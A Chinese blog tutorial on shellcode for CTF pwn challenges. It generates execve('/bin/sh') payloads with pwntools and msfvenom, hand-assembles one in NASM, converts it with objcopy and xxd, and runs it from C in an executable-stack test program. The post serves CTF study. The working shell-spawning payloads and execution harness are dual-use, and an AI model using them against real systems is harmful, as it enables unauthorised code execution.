shellcode学习-1

做pwn题难免要写shellcode,一般大多是用网上找的和用pwntools生成的,每次到比赛的时候显得慌忙脚乱的,现在系统的学习一下

获取集成好的

使用pwntools

pwntools手册
先设置目标机的参数
context(os=’linux’, arch=’amd64’’)

  1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
  2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’

如使用asm(shellcraft.sh())命令,可以获得执行system(“/bin/sh”)汇编代码所对应的shellcode

from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())
#输出
#jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04#Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80

msfvenon生成shellcode

命令
msfvenom -p linux/x86/exec CMD=/bin/sh -f python

$ msfvenom -p linux/x86/exec CMD=/bin/sh -f python

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes
Final size of python file: 222 bytes
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
buf += "\x89\xe1\xcd\x80"

网上公开的shellcode 数据库

Shellcodes database

自己生成

nasm&objdump

#a.asm
#一个简单的shell
jmp sh
run:
  pop ebx
  xor eax,eax
  mov BYTE  [ebx+7],al
  mov al, 11
  xor ecx,ecx
  xor edx,edx
  int 0x80
sh:
  call run 
  db "/bin/sh"            
# root @ kali in ~ [22:12:03] 
$ nasm a.asm -o a.o -f elf 32    #编译
$ objdump -d -M intel a.o     #查看汇编结果           

a.o:     file format elf32-i386


Disassembly of section .text:

00000000 <run-0x2>:
   0:	eb 0e                	jmp    10 <sh>

00000002 <run>:
   2:	5b                   	pop    ebx
   3:	31 c0                	xor    eax,eax
   5:	88 43 07             	mov    BYTE PTR [ebx+0x7],al
   8:	b0 0b                	mov    al,0xb
   a:	31 c9                	xor    ecx,ecx
   c:	31 d2                	xor    edx,edx
   e:	cd 80                	int    0x80

00000010 <sh>:
  10:	e8 ed ff ff ff       	call   2 <run>
  15:	2f                   	das    
  16:	62 69 6e             	bound  ebp,QWORD PTR [ecx+0x6e]
  19:	2f                   	das    
  1a:	73 68                	jae    84 <sh+0x74>

objcopy -O binary a.o code 只将我们自己想要的的代码(即不包含文件头什么的(也就是只要我们自己写的shellcode)拷贝到code里

# root @ kali in ~ [22:13:06] C:1
$ objcopy -O binary a.o code  #只将我们自己的代码拷贝到code里

# root @ kali in ~ [22:13:17] 
$ cat code                  #因为是二进制原始数据,所以直接cat 会有一些字符为乱码[1��C�
       1�1�̀�����/bin/sh#                                                                      
# root @ kali in ~ [22:13:11] 

使用xxd -i命令可以生成C语言形式的shellcode

$ xxd -i code        #可以直接拷贝到C语言程序里使用
unsigned char code[] = {
  0xeb, 0x0e, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x07, 0xb0, 0x0b, 0x31, 0xc9,
  0x31, 0xd2, 0xcd, 0x80, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69,
  0x6e, 0x2f, 0x73, 0x68
};
unsigned int code_len = 28;

C语言执行汇编代码的五种方式

typedef void (__stdcall *CODE) ();  

//第一种
((CODE)code)();
  
//第二种方法     
((void(*)(void))&shellcode)();  
  
//第三种方法  
__asm  
{  
	lea eax, shellcode;  
	jmp eax;  
}  
//第四种方法  
__asm  
{  
	mov eax, offset shellcode;  
	jmp eax;  
} 

//第五种方法     
__asm  
{  
	mov eax, offset shellcode;  
	_emit 0xFF;  
	_emit 0xE0;  
}  

测试一下

//test2.c
#include"code.h"

int main()
{
	((void(*)(void))&code)();
}

先将上面得到的shellcode写到code.h文件里

//code.h
unsigned char code[] = {
  0xeb, 0x0e, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x07, 0xb0, 0x0b, 0x31, 0xc9,
  0x31, 0xd2, 0xcd, 0x80, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69,
  0x6e, 0x2f, 0x73, 0x68
};
xxd -i code > code.h
gcc test2.c -o test2 -m32 -zexecstack

执行
在这里插入图片描述

Reference

PWN-shellcode获取与编写
C语言执行shellcode的五种方法

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值